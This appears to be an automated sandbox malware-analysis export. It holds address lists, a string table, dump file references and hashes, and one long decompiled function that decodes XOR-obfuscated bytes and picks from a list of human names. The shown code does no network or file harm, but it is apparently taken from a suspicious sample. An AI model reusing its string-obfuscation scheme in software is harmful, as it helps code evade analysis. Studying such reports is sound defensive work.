0x0040aab9
0x0040aac4
0x0040aad2
0x0040aae0
0x0040aaee
0x0040aafc
0x0040ab07
0x0040ab12
0x0040ab20
0x0040ab2b
0x0040ab39
0x0040ab47
0x0040ab55
0x0040ab60
0x0040ab6b
0x0040ab79
0x0040ab87
0x0040ab95
0x0040aba3
0x0040abb1
0x0040abbc
0x0040abca
0x0040abdc
0x0040abe3
0x0040abf1
0x0040abff
0x0040ac0d
0x0040ac1f
0x0040ac26
0x0040ac38
0x0040ac3f
0x0040ac51
0x0040ac5c
0x0040ac6a
0x0040ac78
0x0040ac86
0x0040ac91
0x0040ac9c
0x0040aca3
0x0040acae
0x0040acb9
0x0040acc0
0x0040acce
0x0040ace0
0x0040ace7
0x0040acf5
0x0040ad03
0x0040ad11
0x0040ad23
0x0040ad2a
0x0040ad3f
0x0040ad46
0x0040ad5b
0x0040ad62
0x0040ad74
0x0040ad7b
0x0040ad82
0x0040ad89
0x0040ad90
0x0040ad97
0x0040ad9e
0x0040ada0
0x0040adaf
0x0040adbc
0x0040adc3
0x0040adc8
0x0040adcd
0x00000000
0x00000000
0x0040adcf
0x0040add3
0x00000000
0x0040add5
0x0040addd
0x0040ade6
0x0040ade7
0x0040adec
0x0040adec
0x0040adef
0x0040adef
0x0040adf4
0x0040adfe
0x0040ae18
0x0040ae18
0x0040ae49
0x0040ae3d
0x0040ae4b
0x0040ae52
0x0040ae53
0x0040ae58
0x0040ae5b
0x0040ae5b
0x00000000

Strings

c, xrefs: 0040A98F
g, xrefs: 0040A0A9
I, xrefs: 0040A834
$, xrefs: 0040A7EC
3, xrefs: 00409986
&, xrefs: 0040A51D
a, xrefs: 004095A1
;, xrefs: 00409CC3
j, xrefs: 00409624
`, xrefs: 0040A68E
l, xrefs: 0040998E
d, xrefs: 0040A878
8, xrefs: 0040991F
K, xrefs: 00409EA7
\, xrefs: 0040A03A
4, xrefs: 00409465
{, xrefs: 0040AA4F
I, xrefs: 0040A58D
L, xrefs: 0040AA35
5, xrefs: 0040961C
B, xrefs: 00409F86
', xrefs: 004093E2
}, xrefs: 0040A505
V, xrefs: 0040A75E
}, xrefs: 00409485
+, xrefs: 0040A83C
L, xrefs: 0040A04F
K, xrefs: 00409F8E
Z, xrefs: 00409E9F
}, xrefs: 0040939E
q, xrefs: 00409AF3
9, xrefs: 0040A057
Z, xrefs: 00409CEB
*, xrefs: 0040A5A5
_, xrefs: 0040A61E
%, xrefs: 00409A43
T, xrefs: 00409D6A
p, xrefs: 004093EA
E, xrefs: 0040A03F
1, xrefs: 00409BED
:, xrefs: 0040A3E2
>, xrefs: 0040981D
-, xrefs: 0040992F
", xrefs: 0040AA3D
E, xrefs: 004091E5
_, xrefs: 00409B95
4, xrefs: 0040AA23
H, xrefs: 004091DD
G, xrefs: 0040997E
3, xrefs: 00409CD3
-, xrefs: 0040A33F
t, xrefs: 0040A858
E, xrefs: 0040AA59
I, xrefs: 0040990F
., xrefs: 00409FA0
=, xrefs: 0040920D
}, xrefs: 0040A34F
), xrefs: 0040A8BB
., xrefs: 00409F96
j, xrefs: 0040A0B1
_, xrefs: 00409475
7, xrefs: 0040A5C5
l, xrefs: 0040A987
^, xrefs: 00409F7E
[, xrefs: 00409E97
:, xrefs: 0040A80C
5, xrefs: 00409C8B
I, xrefs: 00409A8B
T, xrefs: 0040A7DC
], xrefs: 0040A97F
?, xrefs: 0040A555
\, xrefs: 0040931E
9, xrefs: 004092A1
p, xrefs: 0040A3C2
K, xrefs: 00409C05
y, xrefs: 004091ED
J, xrefs: 004096B6
H, xrefs: 0040A0A1
7, xrefs: 00409C15
V, xrefs: 00409F66
4, xrefs: 00409CDB
;, xrefs: 0040A62E
i, xrefs: 00409E0D
N, xrefs: 004093FA
{, xrefs: 0040A170
', xrefs: 0040A844
^, xrefs: 0040A595
_, xrefs: 00409AAB
@, xrefs: 0040A030
", xrefs: 0040A047
d, xrefs: 0040A96F
., xrefs: 00409CCB
9, xrefs: 0040A1D2
n, xrefs: 00409D85
O, xrefs: 0040A5D5
J, xrefs: 0040AA4A
e, xrefs: 00409AFB
q, xrefs: 00409BAD
r, xrefs: 0040A860
&, xrefs: 0040A32F
<, xrefs: 00409739
&, xrefs: 004095A9
h, xrefs: 0040A69E
6, xrefs: 00409A5B
2, xrefs: 0040A3DA
f, xrefs: 0040999E
Z, xrefs: 0040AA1E
O, xrefs: 00409F6E
!, xrefs: 004091CD
d, xrefs: 0040A160
Z, xrefs: 00409D00
o, xrefs: 004098E6
t, xrefs: 00409E87
;, xrefs: 0040A5BD
=, xrefs: 00409CE3
*, xrefs: 00409B03
, xrefs: 0040A4FD
D, xrefs: 0040A7E4
-, xrefs: 00409706
c, xrefs: 00409591
[, xrefs: 004099BE
F, xrefs: 0040A63E
K, xrefs: 00409A4B
E, xrefs: 0040A236
_, xrefs: 0040A814
#, xrefs: 0040A626
), xrefs: 0040980D
!, xrefs: 0040A565
g, xrefs: 004096A6
4, xrefs: 00409D95
E, xrefs: 00409CAA
i, xrefs: 004096CE
P, xrefs: 0040A64E
C, xrefs: 00409F76
s, xrefs: 0040A804
d, xrefs: 0040A868
[, xrefs: 0040A1F2
u, xrefs: 0040A880
o, xrefs: 004098F0
o, xrefs: 0040A870
#, xrefs: 00409E1D
/, xrefs: 004098DE
5, xrefs: 0040A646
$, xrefs: 00409AD2
), xrefs: 00409D7D
P, xrefs: 0040A766
<, xrefs: 00409A73

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID:
String ID: $!$!$"$"$#$#$$$$$%$&$&$&$'$'$)$)$)$*$*$+$-$-$-$.$.$.$/$1$2$3$3$4$4$4$4$5$5$5$6$7$7$8$9$9$9$:$:$;$;$;$<$<$=$=$>$?$@$B$C$D$E$E$E$E$E$F$G$H$H$I$I$I$I$J$J$K$K$K$K$L$L$N$O$O$P$P$T$T$V$V$Z$Z$Z$Z$[$[$[$\$\$]$^$^$_$_$_$_$_$`$a$c$c$d$d$d$d$e$f$g$g$h$i$i$j$j$l$l$n$o$o$o$p$p$q$q$r$s$t$t$u$y${${$}$}$}$}
API String ID: 0-3452857728
Opcode ID: 1c6a306a2b6ec83f071b6c5e29ea358bffd991bd0d6fadaf44c47d54e099cf3b
Instruction ID: f89c03aa277b30708e93470f35b2be22918357344e2688cb743a074f04aa4e51
Opcode Fuzzy Hash: 1c6a306a2b6ec83f071b6c5e29ea358bffd991bd0d6fadaf44c47d54e099cf3b
Instruction Fuzzy Hash: 5AF2AF2000C7C299D332C63898587DFBFD55BA7328F588BADD1ED4A2E2D675020AD767

Uniqueness

Uniqueness Score: -1.00%

Function 0040EDE0, Relevance: 183.2, Strings: 146, Instructions: 703
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E0040EDE0() {
				intOrPtr _v4;
				intOrPtr _v52;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v84;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				signed char _v97;
				signed char _v98;
				signed char _v99;
				signed char _v100;
				signed char _v101;
				signed char _v102;
				signed char _v103;
				signed char _v104;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				signed char _v113;
				signed char _v114;
				signed char _v115;
				signed char _v116;
				signed char _v117;
				signed char _v118;
				signed char _v119;
				signed char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				signed char _v138;
				signed char _v139;
				signed char _v140;
				signed char _v141;
				signed char _v142;
				signed char _v143;
				signed char _v144;
				char _v152;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v168;
				char _v176;
				signed char _v186;
				signed char _v187;
				signed char _v188;
				signed char _v189;
				signed char _v190;
				signed char _v191;
				signed char _v192;
				char _v200;
				char _v202;
				char _v203;
				char _v204;
				char _v205;
				char _v206;
				char _v207;
				char _v208;
				char _v211;
				char _v212;
				char _v213;
				char _v214;
				char _v215;
				char _v216;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v232;
				char _v240;
				char _v248;
				char _v251;
				char _v252;
				char _v253;
				char _v254;
				char _v255;
				char _v256;
				char _v259;
				char _v260;
				char _v261;
				char _v262;
				char _v263;
				char _v264;
				char _v272;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v283;
				char _v284;
				char _v285;
				char _v286;
				char _v287;
				char _v288;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				signed int _v299;
				signed int _v300;
				signed int _v301;
				signed int _v302;
				signed int _v303;
				signed int _v304;
				char _v307;
				char _v308;
				char _v309;
				char _v310;
				char _v311;
				char _v312;
				char _v315;
				char _v316;
				char _v317;
				char _v318;
				char _v319;
				char _v320;
				signed int _v325;
				signed int _v326;
				signed int _v327;
				signed int _v328;
				signed int _v329;
				signed int _v330;
				signed char _v331;
				signed char _v332;
				signed char _v333;
				signed char _v334;
				signed char _v335;
				signed char _v336;
				char _v340;
				char _v341;
				signed int _v342;
				signed int _v343;
				signed int _v344;
				signed int _v345;
				signed int _v346;
				signed int _v347;
				signed int _v348;
				signed int _v349;
				signed int _v350;
				signed int _v351;
				signed int _v352;
				signed int _v353;
				signed int _v354;
				signed int _v355;
				signed int _v356;
				char _v357;
				char _v358;
				char _v359;
				char _v360;
				char _v361;
				char _v362;
				signed int _v363;
				signed int _v364;
				signed int _v365;
				signed int _v366;
				signed int _v367;
				signed int _v368;
				signed char _v371;
				signed char _v372;
				signed char _v373;
				signed char _v374;
				signed char _v375;
				signed char _v376;
				char _v382;
				char _v383;
				char _v384;
				char _v385;
				char _v386;
				char _v387;
				char _v388;
				char _v391;
				char _v392;
				char _v393;
				char _v394;
				char _v395;
				char _v396;
				intOrPtr _v400;
				char* _v404;
				signed int* _v408;
				intOrPtr _v412;
				signed char* _v416;
				char* _v420;
				char* _v424;
				signed char* _v428;
				intOrPtr _v432;
				signed int* _v436;
				char* _v440;
				char* _v444;
				intOrPtr _v448;
				char* _v452;
				intOrPtr _v456;
				signed int* _v460;
				char* _v464;
				char* _v468;
				intOrPtr _v472;
				char* _v476;
				signed int* _v480;
				signed char* _v484;
				intOrPtr _v488;
				char* _v492;
				signed char* _v496;
				intOrPtr _v500;
				char* _v504;
				intOrPtr _v508;
				char* _v512;
				intOrPtr _v516;
				char* _v520;
				char _v521;
				char _v522;
				char _v523;
				char _v524;
				char* _v528;
				char* _v532;
				signed char* _v536;
				char* _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				char* _v552;
				char* _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				char _v565;
				char _v566;
				char _v567;
				char _v568;
				intOrPtr _v572;
				char _v576;
				char _v580;
				char _v581;
				intOrPtr _t584;
				char _t585;
				void* _t590;
				void* _t599;
				void* _t606;
				intOrPtr _t614;
				void* _t616;
				intOrPtr _t625;
				intOrPtr _t627;
				signed int _t631;
				intOrPtr* _t633;
				char _t638;
				char _t643;
				char _t651;
				char _t656;
				char _t665;
				void* _t677;
				signed char _t684;
				signed char _t686;
				intOrPtr _t711;
				char _t752;
				intOrPtr _t778;
				void* _t779;
				signed char _t780;
				void* _t781;
				signed int _t782;
				signed int _t783;
				void* _t784;
				signed char _t785;
				void* _t786;
				intOrPtr _t789;
				void* _t791;

				_t791 =  &_v528;
				_t584 =  *0x4310d8; // 0x2c0d4047
				_v4 = _t584;
				_v304 = 0x1d;
				_v303 = 0xcf;
				_v302 = 0x73;
				_v301 = 0x6b;
				_v300 = 0x10;
				_v299 = 0x72;
				_t585 = 0;
				_t780 = 5;
				do {
					_t638 =  *((intOrPtr*)(_t791 + _t585 + 0xec));
					 *((char*)(_t791 + _t585 + 0xec)) =  *((intOrPtr*)(_t791 + _t780 + 0xec));
					_t585 = _t585 + 1;
					 *((char*)(_t791 + _t780 + 0xec)) = _t638;
					_t780 = _t780 - 1;
				} while (_t585 < _t780);
				_v192 = _v304 ^ 0x00000001;
				_v191 = _v303 ^ 0x00000078;
				_v190 = _v302 ^ 0x0000000a;
				_v189 = _v301 ^ 0x00000012;
				_v188 = _v300 ^ 0x000000a1;
				_v187 = _v299 ^ 0x0000001d;
				_v524 = 0x6a;
				_v523 = 0x6f;
				_v522 = 0x65;
				_v521 = 0;
				_v264 = 0x72;
				_v263 = 0x6f;
				_v262 = 0x62;
				_v261 = 0x79;
				_v260 = 0x6e;
				_v259 = 0;
				_v112 = 0x6a;
				_v111 = 0x65;
				_v110 = 0x72;
				_v109 = 0x65;
				_v108 = 0x6d;
				_v107 = 0x79;
				_v106 = 0;
				_v332 = 0x83;
				_v331 = 0xc2;
				_v330 = 0x63;
				_v329 = 0x50;
				_v328 = 0x46;
				_v327 = 0x59;
				_v326 = 0xcd;
				_v325 = 0x7f;
				_t590 = 0;
				_t781 = 7;
				do {
					_t643 =  *((intOrPtr*)(_t791 + _t590 + 0xd0));
					 *((char*)(_t791 + _t590 + 0xd0)) =  *((intOrPtr*)(_t791 + _t781 + 0xd0));
					_t590 = _t590 + 1;
					 *((char*)(_t791 + _t781 + 0xd0)) = _t643;
					_t781 = _t781 - 1;
				} while (_t590 < _t781);
				_v104 = _v332 ^ 0x00000014;
				_v103 = _v331 ^ 0x000000a8;
				_v102 = _v330 ^ 0x00000037;
				_v101 = _v329 ^ 0x00000028;
				_v100 = _v328 ^ 0x00000035;
				_v99 = _v327 ^ 0x00000017;
				_v98 = _v326 ^ 0x000000aa;
				_push(6);
				_v97 = _v325 ^ 0x00000083;
				_push( &_v256);
				 *0x431c89 = 0x19;
				_v256 = 0x88;
				_v255 = 0x9c;
				_v254 = 0x95;
				_v253 = 0x1d;
				_v252 = 0xbd;
				_v251 = 0x48;
				_v312 = 0xbc;
				_v311 = 0xd1;
				_v310 = 0xbe;
				_v309 = 0xd2;
				_v308 = 0xbe;
				_v307 = 0xc7;
				_v524 = E0040D980( &_v312);
				_v348 = 0xf0;
				_v347 = 0x33;
				_v346 = 0x7f;
				_v345 = 0x8f;
				_v344 = 0xd4;
				_v343 = 0x7b;
				_v342 = 0x1c;
				_t599 = 0;
				_t782 = 6;
				do {
					_t651 =  *((intOrPtr*)(_t791 + _t599 + 0xc8));
					 *((char*)(_t791 + _t599 + 0xc8)) =  *((intOrPtr*)(_t791 + _t782 + 0xc8));
					_t599 = _t599 + 1;
					 *((char*)(_t791 + _t782 + 0xc8)) = _t651;
					_t782 = _t782 - 1;
				} while (_t599 < _t782);
				_v144 = _v348 ^ 0x00000071;
				_v141 = _v345 ^ 0x000000e3;
				_v143 = _v347 ^ 0x00000012;
				_v142 = _v346 ^ 0x000000b8;
				_v138 = _v342 ^ 0x000000f0;
				_v140 = _v344 ^ 0x0000001a;
				_v139 = _v343 ^ 0x00000041;
				_v348 = 0xac;
				_v347 = 0x88;
				_v346 = 0x4a;
				_v345 = 0xc7;
				_v344 = 0xee;
				_v343 = 0x67;
				_v342 = 0xfc;
				_t606 = 0;
				_t783 = 6;
				do {
					_t656 =  *((intOrPtr*)(_t791 + _t606 + 0xc8));
					 *((char*)(_t791 + _t606 + 0xc8)) =  *((intOrPtr*)(_t791 + _t783 + 0xc8));
					_t606 = _t606 + 1;
					 *((char*)(_t791 + _t783 + 0xc8)) = _t656;
					_t783 = _t783 - 1;
				} while (_t606 < _t783);
				_v192 = _v348 ^ 0x0000008b;
				_v191 = _v347 ^ 0x0000000e;
				_v189 = _v345 ^ 0x000000b4;
				_v188 = _v344 ^ 0x00000025;
				_v190 = _v346 ^ 0x00000082;
				_v160 = 0xdb;
				_v342 = 0xdb;
				_push(7);
				_v186 = _v342 ^ 0x000000ac;
				_push( &_v160);
				_v187 = _v343 ^ 0x000000e6;
				 *0x431c89 = 0x19;
				_v216 = 0x6d;
				_v215 = 0x6f;
				_v214 = 0x6f;
				_v213 = 0x72;
				_v212 = 0x65;
				_v211 = 0;
				_v159 = 0x81;
				_v158 = 0xe5;
				_v157 = 0x9f;
				_v156 = 0x3e;
				_v155 = 0x36;
				_v154 = 0x71;
				_v348 = 0xc6;
				_v347 = 0xb2;
				_v346 = 0xd3;
				_v345 = 0xaa;
				_v344 = 0xc6;
				_v343 = 0xa9;
				_t614 = E0040D980( &_v348);
				_push(7);
				_push( &_v144);
				_v528 = _t614;
				_v68 = 0x61;
				_v67 = 0x6e;
				_v66 = 0x64;
				_v65 = 0x65;
				_v64 = 0x72;
				_v63 = 0x73;
				_v62 = 0x6f;
				_v61 = 0x6e;
				_v60 = 0;
				_v144 = 0xae;
				_v143 = 0xa8;
				_v142 = 0xa6;
				_v141 = 0xbf;
				_v140 = 0x70;
				_v139 = 0x89;
				_v138 = 0x13;
				_v356 = 0x11;
				_v355 = 0x65;
				_v354 = 0xd;
				_v353 = 0x62;
				_v352 = 0xf;
				_v351 = 0x6e;
				_v350 = 0x1d;
				_v528 = E0040D980( &_v356);
				_v356 = 0xa8;
				_v355 = 0xa2;
				_v354 = 0xaf;
				_v353 = 0xb1;
				_v352 = 0x15;
				_v351 = 0xd5;
				_v350 = 0x82;
				_v349 = 0x58;
				_t616 = 0;
				_t784 = 7;
				do {
					_t665 =  *((intOrPtr*)(_t791 + _t616 + 0xd0));
					 *((char*)(_t791 + _t616 + 0xd0)) =  *((intOrPtr*)(_t791 + _t784 + 0xd0));
					_t616 = _t616 + 1;
					 *((char*)(_t791 + _t784 + 0xd0)) = _t665;
					_t784 = _t784 - 1;
				} while (_t616 < _t784);
				_v119 = _v355 ^ 0x000000e3;
				_v120 = _v356 ^ 0x00000032;
				_v118 = _v354 ^ 0x000000b6;
				_v116 = _v352 ^ 0x000000c2;
				_v117 = _v353 ^ 0x0000007e;
				_v115 = _v351 ^ 0x000000c0;
				_push(7);
				_v113 = _v349 ^ 0x000000a8;
				_push( &_v192);
				_v114 = _v350 ^ 0x000000cc;
				 *0x431c89 = 0x19;
				_v224 = 0x77;
				_v223 = 0x68;
				_v222 = 0x69;
				_v221 = 0x74;
				_v220 = 0x65;
				_v219 = 0;
				_v144 = 0x68;
				_v143 = 0x61;
				_v142 = 0x72;
				_v141 = 0x72;
				_v140 = 0x69;
				_v139 = 0x73;
				_v138 = 0;
				_v192 = 0x2a;
				_v191 = 0x9c;
				_v190 = 0xed;
				_v189 = 0x35;
				_v188 = 0x4a;
				_v187 = 0x35;
				_v186 = 0x68;
				_v364 = 0x4f;
				_v363 = 0x22;
				_v362 = 0x43;
				_v361 = 0x31;
				_v360 = 0x45;
				_v359 = 0x2c;
				_v358 = 0x42;
				_t778 = E0040D980( &_v364);
				_v96 = 0x74;
				_v95 = 0x68;
				_v94 = 0x6f;
				_v93 = 0x6d;
				_v92 = 0x70;
				_v91 = 0x73;
				_v90 = 0x6f;
				_v89 = 0x6e;
				_v88 = 0;
				_v208 = 0x67;
				_v207 = 0x61;
				_v206 = 0x72;
				_v205 = 0x63;
				_v204 = 0x69;
				_v203 = 0x61;
				_v202 = 0;
				_v72 = 0x37;
				_v71 = 0x36;
				_v70 = 0xb3;
				_v69 = 0xc1;
				_v68 = 0x69;
				_v67 = 0x80;
				_push(9);
				_push( &_v72);
				_v66 = 0xc4;
				_v65 = 0x8e;
				_v64 = 0x89;
				_v364 = 0x60;
				_v363 = 0xd;
				_v362 = 0x6c;
				_v361 = 0x1e;
				_v360 = 0x6a;
				_v359 = 3;
				_v358 = 0x6d;
				_v357 = 8;
				_v356 = 0x72;
				_t625 = E0040D980( &_v364);
				_push(6);
				_push( &_v264);
				_t789 = _t625;
				_v128 = 0x72;
				_v127 = 0x6f;
				_v126 = 0x62;
				_v125 = 0x69;
				_v124 = 0x6e;
				_v123 = 0x73;
				_v122 = 0x6f;
				_v121 = 0x6e;
				_v120 = 0;
				_v288 = 0x63;
				_v287 = 0x6c;
				_v286 = 0x61;
				_v285 = 0x72;
				_v284 = 0x6b;
				_v283 = 0;
				_v68 = 0x72;
				_v67 = 0x6f;
				_v66 = 0x64;
				_v65 = 0x72;
				_v64 = 0x69;
				_v63 = 0x67;
				_v62 = 0x75;
				_v61 = 0x65;
				_v60 = 0x7a;
				_v59 = 0;
				_v264 = 0xfd;
				_v263 = 0xda;
				_v262 = 0x64;
				_v261 = 0xb0;
				_v260 = 0x5d;
				_v259 = 0x6c;
				_v352 = 0xc2;
				_v351 = 0xae;
				_v350 = 0xcb;
				_v349 = 0xbc;
				_v348 = 0xd5;
				_v347 = 0xa6;
				_v556 = E0040D980( &_v352);
				_v568 = 0x6c;
				_v567 = 0x65;
				_v566 = 0x65;
				_v565 = 0;
				_v208 = 0x77;
				_v207 = 0x61;
				_v206 = 0x6c;
				_v205 = 0x6b;
				_v204 = 0x65;
				_v203 = 0x72;
				_v202 = 0;
				_v344 = 0x68;
				_v343 = 0x61;
				_v342 = 0x6c;
				_v341 = 0x6c;
				_v340 = 0;
				_v264 = 0x61;
				_v263 = 0x6c;
				_v262 = 0x6c;
				_v261 = 0x65;
				_push(5);
				_push( &_v336);
				_v260 = 0x6e;
				_v259 = 0;
				_v280 = 0x79;
				_v279 = 0x6f;
				_v278 = 0x75;
				_v277 = 0x6e;
				_v276 = 0x67;
				_v275 = 0;
				_v64 = 0x68;
				_v63 = 0x65;
				_v62 = 0x72;
				_v61 = 0x6e;
				_v60 = 0x61;
				_v59 = 0x6e;
				_v58 = 0x64;
				_v57 = 0x65;
				_v56 = 0x7a;
				_v55 = 0;
				_v352 = 0x6b;
				_v351 = 0x69;
				_v350 = 0x6e;
				_v349 = 0x67;
				_v348 = 0;
				_v192 = 0x77;
				_v191 = 0x72;
				_v190 = 0x69;
				_v189 = 0x67;
				_v188 = 0x68;
				_v187 = 0x74;
				_v186 = 0;
				_v320 = 0x6c;
				_v319 = 0x6f;
				_v318 = 0x70;
				_v317 = 0x65;
				_v316 = 0x7a;
				_v315 = 0;
				_v336 = 0xc7;
				_v335 = 0x35;
				_v334 = 0x64;
				_v333 = 0x14;
				_v332 = 0x23;
				_v368 = 0x60;
				_v367 = 8;
				_v366 = 0x61;
				_v365 = 0xd;
				_v364 = 0x61;
				_t627 = E0040D980( &_v368);
				_v376 = 0x68;
				_v375 = 0x3e;
				_v374 = 0xbb;
				_v373 = 0xf0;
				_v372 = 0xec;
				_v371 = 0xa1;
				_t677 = 0;
				_t785 = 5;
				do {
					_v581 =  *((intOrPtr*)(_t791 + _t677 + 0xe0));
					 *((char*)(_t791 + _t677 + 0xe0)) =  *((intOrPtr*)(_t791 + _t785 + 0xe0));
					_t677 = _t677 + 1;
					 *((char*)(_t791 + _t785 + 0xe0)) = _v581;
					_t785 = _t785 - 1;
				} while (_t677 < _t785);
				_v336 = _v376 ^ 0x000000d2;
				_v335 = _v375 ^ 0x0000008f;
				_v334 = _v374 ^ 0x0000009f;
				_v333 = _v373 ^ 0x000000cf;
				_v332 = _v372 ^ 0x0000004a;
				_t684 = 5;
				_v331 = _v371 ^ 0x00000068;
				_v296 = 0x67;
				_v295 = 0x72;
				_v294 = 0x65;
				_v293 = 0x65;
				_v292 = 0x6e;
				_v291 = 0;
				_v396 = 0x61;
				_v395 = 0x64;
				_v394 = 0x61;
				_v393 = 0x6d;
				_v392 = 0x73;
				_v391 = 0;
				_v368 = 0x7a;
				_v367 = 0x24;
				_v366 = 0x9b;
				_v365 = 6;
				_v364 = 0x77;
				_v363 = 0xe5;
				_t786 = 0;
				_v376 = 5;
				do {
					_t752 =  *((intOrPtr*)(_t791 + _t786 + 0xe8));
					 *((char*)(_t791 + _t786 + 0xe8)) =  *((intOrPtr*)(_t791 + _t684 + 0xe8));
					_t686 = _v376;
					_t786 = _t786 + 1;
					 *((char*)(_t791 + _t686 + 0xe8)) = _t752;
					_t684 = _t686 - 1;
					_v581 = _t752;
					_v376 = _t684;
				} while (_t786 < _t684);
				_v376 = _v368 ^ 0x00000087;
				_v375 = _v367 ^ 0x00000016;
				_v374 = _v366 ^ 0x0000006d;
				_v373 = _v365 ^ 0x000000fe;
				_v372 = _v364 ^ 0x00000056;
				_v371 = _v363 ^ 0x0000007a;
				_v556 =  &_v248;
				_v552 =  &_v580;
				_t478 =  &_v320; // 0x6c
				_v548 = _t478;
				_t480 =  &_v168; // 0x68
				_v544 = _t480;
				_v540 =  &_v160;
				_v536 =  &_v192;
				_v532 =  &_v240;
				_v528 =  &_v264;
				_v524 = _v568;
				_v520 =  &_v108;
				_v516 = _v560;
				_v512 =  &_v152;
				_t498 =  &_v256; // 0x65
				_v508 = _t498;
				_v504 =  &_v176;
				_v496 =  &_v120;
				_v492 =  &_v232;
				_v484 =  &_v144;
				 *0x431c89 = 0x19;
				_v132 = 0x67;
				_v131 = 0x6f;
				_v130 = 0x6e;
				_v129 = 0x7a;
				_v128 = 0x61;
				_v127 = 0x6c;
				_v126 = 0x65;
				_v125 = 0x7a;
				_v124 = 0;
				_v368 = 0x6e;
				_v367 = 0x65;
				_v366 = 0x6c;
				_v365 = 0x73;
				_v364 = 0x6f;
				_v363 = 0x6e;
				_v362 = 0;
				_v388 = 0x63;
				_v387 = 0x61;
				_v386 = 0x72;
				_v385 = 0x74;
				_v384 = 0x65;
				_v383 = 0x72;
				_v382 = 0;
				_v500 = _t778;
				_v488 = _t789;
				_v480 =  &_v304;
				_v476 =  &_v84;
				_v472 = _v564;
				_v468 =  &_v576;
				_v464 =  &_v216;
				_v460 =  &_v352;
				_t545 =  &_v272; // 0x61
				_v456 = _t545;
				_v452 =  &_v288;
				_t549 =  &_v72; // 0x69
				_v448 = _t549;
				_v444 =  &_v360;
				_v440 =  &_v200;
				_v432 = _t627;
				_v436 =  &_v328;
				_v428 =  &_v336;
				_v424 =  &_v296;
				_t564 =  &_v132; // 0x67
				_v420 =  &_v396;
				_v416 =  &_v376;
				_v412 = _t564;
				_v408 =  &_v368;
				_v404 =  &_v388;
				_v400 = _v572;
				_t631 = E0040C1D0( &_v368);
				_t787 =  *((intOrPtr*)(_t791 + 0x28 + _t631 % 0x28 * 4));
				_t633 =  *((intOrPtr*)(_t791 + 0x28 + _t631 % 0x28 * 4));
				_t779 = _t633 + 1;
				do {
					_t711 =  *_t633;
					_t633 = _t633 + 1;
				} while (_t711 != 0);
				return E00424873(E004028A0(_v52, _t787, _t633 - _t779), _v68);
			}

0x0040ede0
0x0040ede6
0x0040eded
0x0040edf7
0x0040edff
0x0040ee07
0x0040ee0f
0x0040ee17
0x0040ee1f
0x0040ee27
0x0040ee29
0x0040ee30
0x0040ee37
0x0040ee3e
0x0040ee45
0x0040ee46
0x0040ee4d
0x0040ee4e
0x0040ee6f
0x0040ee7d
0x0040ee8b
0x0040eea1
0x0040eea8
0x0040eeaf
0x0040eeb6
0x0040eebb
0x0040eec0
0x0040eec5
0x0040eec9
0x0040eed1
0x0040eed9
0x0040eee1
0x0040eee9
0x0040eef1
0x0040eef8
0x0040ef00
0x0040ef08
0x0040ef10
0x0040ef18
0x0040ef20
0x0040ef28
0x0040ef2f
0x0040ef37
0x0040ef3f
0x0040ef47
0x0040ef4f
0x0040ef57
0x0040ef5f
0x0040ef67
0x0040ef6f
0x0040ef71
0x0040ef80
0x0040ef87
0x0040ef8e
0x0040ef95
0x0040ef96
0x0040ef9d
0x0040ef9e
0x0040efbc
0x0040efca
0x0040efe0
0x0040efee
0x0040effc
0x0040f012
0x0040f019
0x0040f022
0x0040f02b
0x0040f032
0x0040f03a
0x0040f041
0x0040f049
0x0040f051
0x0040f059
0x0040f061
0x0040f069
0x0040f071
0x0040f079
0x0040f081
0x0040f088
0x0040f090
0x0040f097
0x0040f0a4
0x0040f0a8
0x0040f0b0
0x0040f0b8
0x0040f0c0
0x0040f0c8
0x0040f0d0
0x0040f0d8
0x0040f0e0
0x0040f0e2
0x0040f0f0
0x0040f0f7
0x0040f0fe
0x0040f105
0x0040f106
0x0040f10d
0x0040f10e
0x0040f129
0x0040f13f
0x0040f14d
0x0040f15b
0x0040f171
0x0040f178
0x0040f17f
0x0040f186
0x0040f18e
0x0040f196
0x0040f19e
0x0040f1a6
0x0040f1ae
0x0040f1b6
0x0040f1be
0x0040f1c0
0x0040f1d0
0x0040f1d7
0x0040f1de
0x0040f1e5
0x0040f1e6
0x0040f1ed
0x0040f1ee
0x0040f20c
0x0040f21a
0x0040f22d
0x0040f23b
0x0040f247
0x0040f257
0x0040f25e
0x0040f265
0x0040f26e
0x0040f27a
0x0040f282
0x0040f289
0x0040f290
0x0040f298
0x0040f2a0
0x0040f2a8
0x0040f2b0
0x0040f2b8
0x0040f2bf
0x0040f2c7
0x0040f2cf
0x0040f2d7
0x0040f2df
0x0040f2e7
0x0040f2ef
0x0040f2f6
0x0040f2fe
0x0040f306
0x0040f30e
0x0040f315
0x0040f31d
0x0040f322
0x0040f32b
0x0040f333
0x0040f337
0x0040f33f
0x0040f347
0x0040f34f
0x0040f357
0x0040f35f
0x0040f367
0x0040f36f
0x0040f377
0x0040f37e
0x0040f386
0x0040f38e
0x0040f396
0x0040f39e
0x0040f3a6
0x0040f3ae
